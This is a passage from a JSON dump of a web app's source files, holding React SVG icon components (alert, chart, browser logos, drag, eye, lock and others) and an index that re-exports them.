    "content": "export default function AlertCircleFill({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 24 24\"\n      width=\"24\"\n      height=\"24\"\n      className={className}\n    >\n      <circle cx=\"12\" cy=\"12\" r=\"10\" fill=\"currentColor\" />\n      <path d=\"M12 8v4\" stroke=\"white\" />\n      <path d=\"M12 16h.01\" stroke=\"white\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/chart.tsx",
    "content": "export default function Chart({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 24 24\"\n      width=\"14\"\n      height=\"14\"\n      className={className}\n    >\n      <path d=\"M12 20V10\" />\n      <path d=\"M18 20V4\" />\n      <path d=\"M6 20v-4\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/check-circle-fill.tsx",
    "content": "export default function CheckCircleFill({ className }: { className?: string }) {\n  return (\n    <svg\n      className={className}\n      viewBox=\"0 0 24 24\"\n      width=\"24\"\n      height=\"24\"\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n    >\n      <path\n        d=\"M12 2C6.47715 2 2 6.47715 2 12C2 17.5228 6.47715 22 12 22C17.5228 22 22 17.5228 22 12C22 6.47715 17.5228 2 12 2Z\"\n        fill=\"currentColor\"\n      />\n      <path d=\"M8 11.8571L10.5 14.3572L15.8572 9\" stroke=\"white\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/clipboard.tsx",
    "content": "export default function Clipboard({ className }: { className?: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 24 24\"\n      width=\"14\"\n      height=\"14\"\n      className={className}\n    >\n      <path d=\"M16 4h2a2 2 0 012 2v14a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2h2\" />\n      <rect x=\"8\" y=\"2\" width=\"8\" height=\"4\" rx=\"1\" ry=\"1\" />{\" \"}\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/delete.tsx",
    "content": "export default function Delete({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      height=\"24\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"2\"\n      viewBox=\"0 0 24 24\"\n      width=\"24\"\n      className={className}\n    >\n      <path d=\"M3 6h18\" />\n      <path d=\"M19 6v14a2 2 0 01-2 2H7a2 2 0 01-2-2V6m3 0V4a2 2 0 012-2h4a2 2 0 012 2v2\" />\n      <path d=\"M10 11v6\" />\n      <path d=\"M14 11v6\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/devices.tsx",
    "content": "export function Chrome({ className }: { className: string }) {\n  return (\n    <svg viewBox=\"0 0 100 100\" className={className}>\n      <linearGradient\n        id=\"b\"\n        x1=\"55.41\"\n        x2=\"12.11\"\n        y1=\"96.87\"\n        y2=\"21.87\"\n        gradientUnits=\"userSpaceOnUse\"\n      >\n        <stop offset=\"0\" stopColor=\"#1e8e3e\" />\n        <stop offset=\"1\" stopColor=\"#34a853\" />\n      </linearGradient>\n      <linearGradient\n        id=\"c\"\n        x1=\"42.7\"\n        x2=\"86\"\n        y1=\"100\"\n        y2=\"25.13\"\n        gradientUnits=\"userSpaceOnUse\"\n      >\n        <stop offset=\"0\" stopColor=\"#fcc934\" />\n        <stop offset=\"1\" stopColor=\"#fbbc04\" />\n      </linearGradient>\n      <linearGradient\n        id=\"a\"\n        x1=\"6.7\"\n        x2=\"93.29\"\n        y1=\"31.25\"\n        y2=\"31.25\"\n        gradientUnits=\"userSpaceOnUse\"\n      >\n        <stop offset=\"0\" stopColor=\"#d93025\" />\n        <stop offset=\"1\" stopColor=\"#ea4335\" />\n      </linearGradient>\n      <path fill=\"url(#a)\" d=\"M93.29 25a50 50 90 0 0-86.6 0l3 54z\" />\n      <path fill=\"url(#b)\" d=\"M28.35 62.5 6.7 25A50 50 90 0 0 50 100l49-50z\" />\n      <path fill=\"url(#c)\" d=\"M71.65 62.5 50 100a50 50 90 0 0 43.29-75H50z\" />\n      <path fill=\"#fff\" d=\"M50 75a25 25 90 1 0 0-50 25 25 90 0 0 0 50z\" />\n      <path\n        fill=\"#1a73e8\"\n        d=\"M50 69.8a19.8 19.8 90 1 0 0-39.6 19.8 19.8 90 0 0 0 39.6z\"\n      />{\" \"}\n    </svg>\n  );\n}\n\nexport function Safari({ className }: { className: string }) {\n  return (\n    <svg className={className} width=\"66\" height=\"66\" viewBox=\"0 0 66 66\">\n      <path\n        fill=\"#C6C6C6\"\n        stroke=\"#C6C6C6\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        strokeWidth=\"0.5\"\n        d=\"M383.29373 211.97671a31.325188 31.325188 0 0 1-31.32519 31.32519 31.325188 31.325188 0 0 1-31.32518-31.32519 31.325188 31.325188 0 0 1 31.32518-31.32519 31.325188 31.325188 0 0 1 31.32519 31.32519z\"\n        paintOrder=\"markers stroke fill\"\n        transform=\"translate(-318.88562 -180.59501)\"\n      />\n      <path\n        fill=\"#4A9DED\"\n        d=\"M380.83911 211.97671a28.870571 28.870571 0 0 1-28.87057 28.87057 28.870571 28.870571 0 0 1-28.87057-28.87057 28.870571 28.870571 0 0 1 28.87057-28.87057 28.870571 28.870571 0 0 1 28.87057 28.87057z\"\n        paintOrder=\"markers stroke fill\"\n        transform=\"translate(-318.88562 -180.59501)\"\n      />\n      <path\n        fill=\"#ff5150\"\n        d=\"m36.3834003 34.83806178-6.60095092-6.91272438 23.41607429-15.75199774z\"\n        paintOrder=\"markers stroke fill\"\n      />\n      <path\n        fill=\"#f1f1f1\"\n        d=\"m36.38339038 34.83805895-6.60095092-6.91272438-16.81512624 22.66471911z\"\n        paintOrder=\"markers stroke fill\"\n      />\n      <path\n        d=\"m12.96732 50.59006 23.41607-15.75201 16.81513-22.66472z\"\n        opacity=\".243\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/divider.tsx",
    "content": "export default function Divider({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1\"\n      viewBox=\"0 0 24 24\"\n      width=\"14\"\n      height=\"14\"\n      className={className}\n    >\n      <path d=\"M16.88 3.549L7.12 20.451\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/download.tsx",
    "content": "export default function Download({ className }: { className?: string }) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"1em\"\n      height=\"1em\"\n      preserveAspectRatio=\"xMidYMid meet\"\n      viewBox=\"0 0 16 16\"\n      className={className}\n    >\n      <g fill=\"currentColor\">\n        <path d=\"M.5 9.9a.5.5 0 0 1 .5.5v2.5a1 1 0 0 0 1 1h12a1 1 0 0 0 1-1v-2.5a.5.5 0 0 1 1 0v2.5a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2v-2.5a.5.5 0 0 1 .5-.5z\" />\n        <path d=\"M7.646 11.854a.5.5 0 0 0 .708 0l3-3a.5.5 0 0 0-.708-.708L8.5 10.293V1.5a.5.5 0 0 0-1 0v8.793L5.354 8.146a.5.5 0 1 0-.708.708l3 3z\" />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/drag.tsx",
    "content": "\"use client\";\n\nexport default function Drag({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"currentColor\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 700 700\"\n      width=\"700\"\n      height=\"700\"\n      className={className}\n    >\n      <path d=\"M449.53 315.65v-36.457c0-13.953-10.734-25.301-23.48-25.301-12.812 0-23.551 11.352-23.551 25.301v38.645a7.656 7.656 0 11-15.312 0v-49.254c0-13.949-9.961-25.77-22.707-25.77h-.723c-12.418 0-22.508 11.246-23.602 24.703v55.453a7.656 7.656 0 11-15.312 0v-53.84c0-.184-.02-.371-.02-.559 0-.437.02-.875.02-1.312v-125.9c0-13.953-10.113-25.301-22.86-25.301s-22.882 11.344-22.894 25.28l-.13 208.8a7.649 7.649 0 01-13.562 4.856l-24.926-30.344h-.004a37.44 37.44 0 00-26.414-13.973 36.629 36.629 0 00-27.512 9.883c-.094.086-.191.203-.293.285l-4.55 3.828 86.241 165.66c13.555 26.043 39.176 42.328 66.863 42.328h99.914c42.23 0 76.621-37.148 76.664-82.688.024-24.18.047-42.367.067-57 .05-39.266.07-54.156-.031-97.395-.032-13.91-10.402-25.422-23.113-25.422h-.684c-12.742.004-22.777 11.801-22.777 25.754v19.742a7.656 7.656 0 11-15.312 0zM157.66 83.723l42.238 42.242v-.004a7.648 7.648 0 0010.828 0 7.802 7.802 0 000-10.945l-30.68-30.797h277.14V68.907h-275.43l28.97-28.852a7.62 7.62 0 00-.048-10.78 7.624 7.624 0 00-10.78.042L160.048 69.18a7.659 7.659 0 00-2.39 14.543zM521.51 39.887c20.859 8.64 30.766 32.555 22.125 53.414-8.64 20.859-32.555 30.766-53.414 22.125s-30.766-32.555-22.125-53.414 32.555-30.766 53.414-22.125\"></path>\n      <use x=\"70\" y=\"576.406\"></use>\n      <use x=\"74.012\" y=\"576.406\"></use>\n      <use x=\"76.711\" y=\"576.406\"></use>\n      <use x=\"80.418\" y=\"576.406\"></use>\n      <use x=\"84.109\" y=\"576.406\"></use>\n      <use x=\"86.723\" y=\"576.406\"></use>\n      <use x=\"90.434\" y=\"576.406\"></use>\n      <use x=\"96.25\" y=\"576.406\"></use>\n      <use x=\"100.168\" y=\"576.406\"></use>\n      <use x=\"105.637\" y=\"576.406\"></use>\n      <use x=\"109.871\" y=\"576.406\"></use>\n      <use x=\"111.746\" y=\"576.406\"></use>\n      <use x=\"114.445\" y=\"576.406\"></use>\n      <use x=\"118.133\" y=\"576.406\"></use>\n      <use x=\"123.934\" y=\"576.406\"></use>\n      <use x=\"127.871\" y=\"576.406\"></use>\n      <use x=\"131.766\" y=\"576.406\"></use>\n      <use x=\"135.453\" y=\"576.406\"></use>\n      <use x=\"138.711\" y=\"576.406\"></use>\n      <use x=\"141.324\" y=\"576.406\"></use>\n      <use x=\"144.02\" y=\"576.406\"></use>\n      <use x=\"70\" y=\"581.875\"></use>\n      <use x=\"72.379\" y=\"581.875\"></use>\n      <use x=\"75.078\" y=\"581.875\"></use>\n      <use x=\"78.832\" y=\"581.875\"></use>\n      <use x=\"86.438\" y=\"581.875\"></use>\n      <use x=\"89.051\" y=\"581.875\"></use>\n      <use x=\"92.941\" y=\"581.875\"></use>\n      <use x=\"98.555\" y=\"581.875\"></use>\n      <use x=\"103.133\" y=\"581.875\"></use>\n      <use x=\"106.891\" y=\"581.875\"></use>\n      <use x=\"110.785\" y=\"581.875\"></use>\n      <use x=\"116.582\" y=\"581.875\"></use>\n      <use x=\"120.59\" y=\"581.875\"></use>\n      <use x=\"123.285\" y=\"581.875\"></use>\n      <use x=\"127.043\" y=\"581.875\"></use>\n      <use x=\"128.918\" y=\"581.875\"></use>\n      <use x=\"132.625\" y=\"581.875\"></use>\n      <use x=\"135.867\" y=\"581.875\"></use>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/edit.tsx",
    "content": "export default function Edit({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      height=\"24\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 24 24\"\n      width=\"24\"\n      className={className}\n    >\n      <path d=\"M12 20h9\" />\n      <path d=\"M16.5 3.5a2.121 2.121 0 013 3L7 19l-4 1 1-4L16.5 3.5z\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/external-link.tsx",
    "content": "export default function ExternalLink({ className }: { className?: string }) {\n  return (\n    <svg\n      className={className}\n      viewBox=\"0 0 24 24\"\n      width=\"24\"\n      height=\"24\"\n      stroke=\"currentColor\"\n      strokeWidth=\"2\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n    >\n      <path d=\"M18 13v6a2 2 0 01-2 2H5a2 2 0 01-2-2V8a2 2 0 012-2h6\" />\n      <path d=\"M15 3h6v6\" />\n      <path d=\"M10 14L21 3\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/eye-off.tsx",
    "content": "export default function EyeOff({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 24 24\"\n      width=\"24\"\n      height=\"24\"\n      className={className}\n    >\n      <path d=\"M17.94 17.94A10.07 10.07 0 0112 20c-7 0-11-8-11-8a18.45 18.45 0 015.06-5.94M9.9 4.24A9.12 9.12 0 0112 4c7 0 11 8 11 8a18.5 18.5 0 01-2.16 3.19m-6.72-1.07a3 3 0 11-4.24-4.24\" />\n      <path d=\"M1 1l22 22\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/eye.tsx",
    "content": "export default function Eye({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 24 24\"\n      width=\"24\"\n      height=\"24\"\n      className={className}\n    >\n      <path d=\"M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z\" />\n      <circle cx=\"12\" cy=\"12\" r=\"3\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/filter.tsx",
    "content": "export default function Filter({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 24 24\"\n      width=\"14\"\n      height=\"14\"\n      className={className}\n    >\n      <path d=\"M22 3H2l8 9.46V19l4 2v-8.54L22 3z\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/heart.tsx",
    "content": "export default function Heart({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 24 24\"\n      width=\"14\"\n      height=\"14\"\n      className={className}\n    >\n      <path d=\"M20.84 4.61a5.5 5.5 0 0 0-7.78 0L12 5.67l-1.06-1.06a5.5 5.5 0 0 0-7.78 7.78l1.06 1.06L12 21.23l7.78-7.78 1.06-1.06a5.5 5.5 0 0 0 0-7.78z\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/index.tsx",
    "content": "// Most of these icons are gotten from Vercel's open-sourced icons library: https://vercel.com/design/icons\n\nexport { default as Airplay } from \"./airplay\";\nexport { default as AlertCircleFill } from \"./alert-circle-fill\";\nexport { default as Chart } from \"./chart\";\nexport { default as CheckCircleFill } from \"./check-circle-fill\";\nexport { default as Clipboard } from \"./clipboard\";\nexport { default as Delete } from \"./delete\";\nexport { default as Divider } from \"./divider\";\nexport { default as Download } from \"./download\";\nexport { default as Drag } from \"./drag\";\nexport { default as Edit } from \"./edit\";\nexport { default as ExternalLink } from \"./external-link\";\nexport { default as Eye } from \"./eye\";\nexport { default as EyeOff } from \"./eye-off\";\nexport { default as Filter } from \"./filter\";\nexport { default as Heart } from \"./heart\";\nexport { default as InfinityIcon } from \"./infinity\";\nexport { default as Link } from \"./link\";\nexport { default as Lock } from \"./lock\";\nexport { default as Logout } from \"./logout\";\nexport { default as Message } from \"./message\";\nexport { default as QR } from \"./qr\";\nexport { default as Random } from \"./random\";\nexport { default as Repeat } from \"./repeat\";\nexport { default as Save } from \"./save\";\nexport { default as Search } from \"./search\";\nexport { default as Sort } from \"./sort\";\nexport { default as ThreeDots } from \"./three-dots\";\nexport { default as UploadCloud } from \"./upload-cloud\";\nexport { default as Users } from \"./users\";\nexport { default as X } from \"./x\";\nexport { default as XCircleFill } from \"./x-circle-fill\";\n"
  },
  {
    "path": "apps/web/ui/shared/icons/infinity.tsx",
    "content": "export default function Infinity({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 24 24\"\n      width=\"24\"\n      height=\"24\"\n      className={className}\n    >\n      <path d=\"M13.833 8.875S15.085 7 18.043 7C21 7 23 9.5 23 12s-1.784 5-4.864 5-4.914-3.124-6.136-5c-1.222-1.875-3.392-5-6.446-5S1 9.5 1 12s1.351 5 4.648 5c3.296 0 4.519-1.875 4.519-1.875\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/link.tsx",
    "content": "export default function Link({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 24 24\"\n      width=\"24\"\n      height=\"24\"\n      className={className}\n    >\n      <path d=\"M15 7h3a5 5 0 015 5 5 5 0 01-5 5h-3m-6 0H6a5 5 0 01-5-5 5 5 0 015-5h3\" />\n      <path d=\"M8 12h8\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/lock.tsx",
    "content": "export default function Lock({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"2\"\n      viewBox=\"0 0 24 24\"\n      width=\"24\"\n      height=\"24\"\n      className={className}\n    >\n      <rect x=\"3\" y=\"11\" width=\"18\" height=\"11\" rx=\"2\" ry=\"2\" />\n      <path d=\"M7 11V7a5 5 0 0110 0v4\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/logout.tsx",
    "content": "export default function Logout({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      height=\"24\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 24 24\"\n      width=\"24\"\n      className={className}\n    >\n      <path d=\"M9 21H5a2 2 0 01-2-2V5a2 2 0 012-2h4\" />\n      <path d=\"M16 17l5-5-5-5\" />\n      <path d=\"M21 12H9\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/message.tsx",
    "content": "export default function Message({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 24 24\"\n      width=\"14\"\n      height=\"14\"\n      className={className}\n    >\n      <path d=\"M21 11.5a8.38 8.38 0 01-.9 3.8 8.5 8.5 0 01-7.6 4.7 8.38 8.38 0 01-3.8-.9L3 21l1.9-5.7a8.38 8.38 0 01-.9-3.8 8.5 8.5 0 014.7-7.6 8.38 8.38 0 013.8-.9h.5a8.48 8.48 0 018 8v.5z\" />{\" \"}\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/qr.tsx",
    "content": "export default function QR({ className }: { className?: string }) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"1em\"\n      height=\"1em\"\n      preserveAspectRatio=\"xMidYMid meet\"\n      viewBox=\"0 0 32 32\"\n      className={className}\n    >\n      <path\n        fill=\"currentColor\"\n        d=\"M24 28v-2h2v2zm-6-4v-2h2v2zm0 6h4v-2h-2v-2h-2v4zm8-4v-4h2v4zm2 0h2v4h-4v-2h2v-2zm-2-6v-2h4v4h-2v-2h-2zm-2 0h-2v4h-2v2h4v-6zm-6 0v-2h4v2zM6 22h4v4H6z\"\n      />\n      <path fill=\"currentColor\" d=\"M14 30H2V18h12zM4 28h8v-8H4zM22 6h4v4h-4z\" />\n      <path fill=\"currentColor\" d=\"M30 14H18V2h12zm-10-2h8V4h-8zM6 6h4v4H6z\" />\n      <path fill=\"currentColor\" d=\"M14 14H2V2h12ZM4 12h8V4H4Z\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/random.tsx",
    "content": "export default function Random({ className }: { className?: string }) {\n  return (\n    <svg\n      className={className}\n      viewBox=\"0 0 24 24\"\n      width=\"24\"\n      height=\"24\"\n      stroke=\"currentColor\"\n      strokeWidth=\"2\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n    >\n      <path d=\"M21.67 3.955l-2.825-2.202.665-.753 4.478 3.497-4.474 3.503-.665-.753 2.942-2.292h-4.162c-3.547.043-5.202 3.405-6.913 7.023 1.711 3.617 3.366 6.979 6.913 7.022h4.099l-2.883-2.247.665-.753 4.478 3.497-4.474 3.503-.665-.753 2.884-2.247h-4.11c-3.896-.048-5.784-3.369-7.461-6.858-1.687 3.51-3.592 6.842-7.539 6.858h-2.623v-1h2.621c3.6-.014 5.268-3.387 6.988-7.022-1.72-3.636-3.388-7.009-6.988-7.023h-2.621v-1h2.623c3.947.016 5.852 3.348 7.539 6.858 1.677-3.489 3.565-6.81 7.461-6.858h4.047z\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/repeat.tsx",
    "content": "export default function Repeat({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 24 24\"\n      width=\"14\"\n      height=\"14\"\n      className={className}\n    >\n      <path d=\"M17 1l4 4-4 4\" />\n      <path d=\"M3 11V9a4 4 0 014-4h14\" />\n      <path d=\"M7 23l-4-4 4-4\" />\n      <path d=\"M21 13v2a4 4 0 01-4 4H3\" />{\" \"}\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/save.tsx",
    "content": "export default function Save({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      height=\"24\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 24 24\"\n      width=\"24\"\n      className={className}\n    >\n      <path d=\"M19 21H5a2 2 0 01-2-2V5a2 2 0 012-2h11l5 5v11a2 2 0 01-2 2z\" />\n      <path d=\"M17 21v-8H7v8\" />\n      <path d=\"M7 3v5h8\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/search.tsx",
    "content": "export default function Search({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 24 24\"\n      width=\"14\"\n      height=\"14\"\n      className={className}\n    >\n      <path d=\"M11 17.25a6.25 6.25 0 110-12.5 6.25 6.25 0 010 12.5z\" />\n      <path d=\"M16 16l4.5 4.5\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/sort.tsx",
    "content": "export default function Sort({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 24 24\"\n      width=\"24\"\n      height=\"24\"\n      className={className}\n    >\n      <path d=\"M15 18H3M21 6H3M17 12H3\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/three-dots.tsx",
    "content": "export default function ThreeDots({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 24 24\"\n      width=\"14\"\n      height=\"14\"\n      className={className}\n    >\n      <circle cx=\"12\" cy=\"12\" r=\"1\"></circle>\n      <circle cx=\"12\" cy=\"5\" r=\"1\"></circle>\n      <circle cx=\"12\" cy=\"19\" r=\"1\"></circle>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/upload-cloud.tsx",
    "content": "export default function UploadCloud({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 24 24\"\n      width=\"24\"\n      height=\"24\"\n      className={className}\n    >\n      <path d=\"M16 16l-4-4-4 4\" />\n      <path d=\"M12 12v9\" />\n      <path d=\"M20.39 18.39A5 5 0 0018 9h-1.26A8 8 0 103 16.3\" />\n      <path d=\"M16 16l-4-4-4 4\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/users.tsx",
    "content": "export default function Users({ className }: { className: string }) {\n  return (\n    <svg\n      fill=\"none\"\n      height=\"24\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 24 24\"\n      width=\"24\"\n      className={className}\n    >\n      <path d=\"M16 21v-2a4 4 0 0 0-4-4H6a4 4 0 0 0-4 4v2\"></path>\n      <circle cx=\"9\" cy=\"7\" r=\"4\"></circle>\n      <path d=\"M22 21v-2a4 4 0 0 0-3-3.87\"></path>\n      <path d=\"M16 3.13a4 4 0 0 1 0 7.75\"></path>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/x-circle-fill.tsx",
    "content": "export default function XCircleFill({ className }: { className?: string }) {\n  return (\n    <svg\n      className={className}\n      viewBox=\"0 0 24 24\"\n      width=\"24\"\n      height=\"24\"\n      stroke=\"currentColor\"\n      strokeWidth=\"2\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n    >\n      <circle cx=\"12\" cy=\"12\" r=\"10\" fill=\"currentColor\" />\n      <path d=\"M15 9l-6 6\" stroke=\"white\" />\n      <path d=\"M9 9l6 6\" stroke=\"white\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/icons/x.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport default function X(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      fill=\"none\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      viewBox=\"0 0 24 24\"\n      width=\"14\"\n      height=\"14\"\n      {...props}\n    >\n      <path d=\"M18 6L6 18\" />\n      <path d=\"M6 6l12 12\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/inline-badge-popover.tsx",
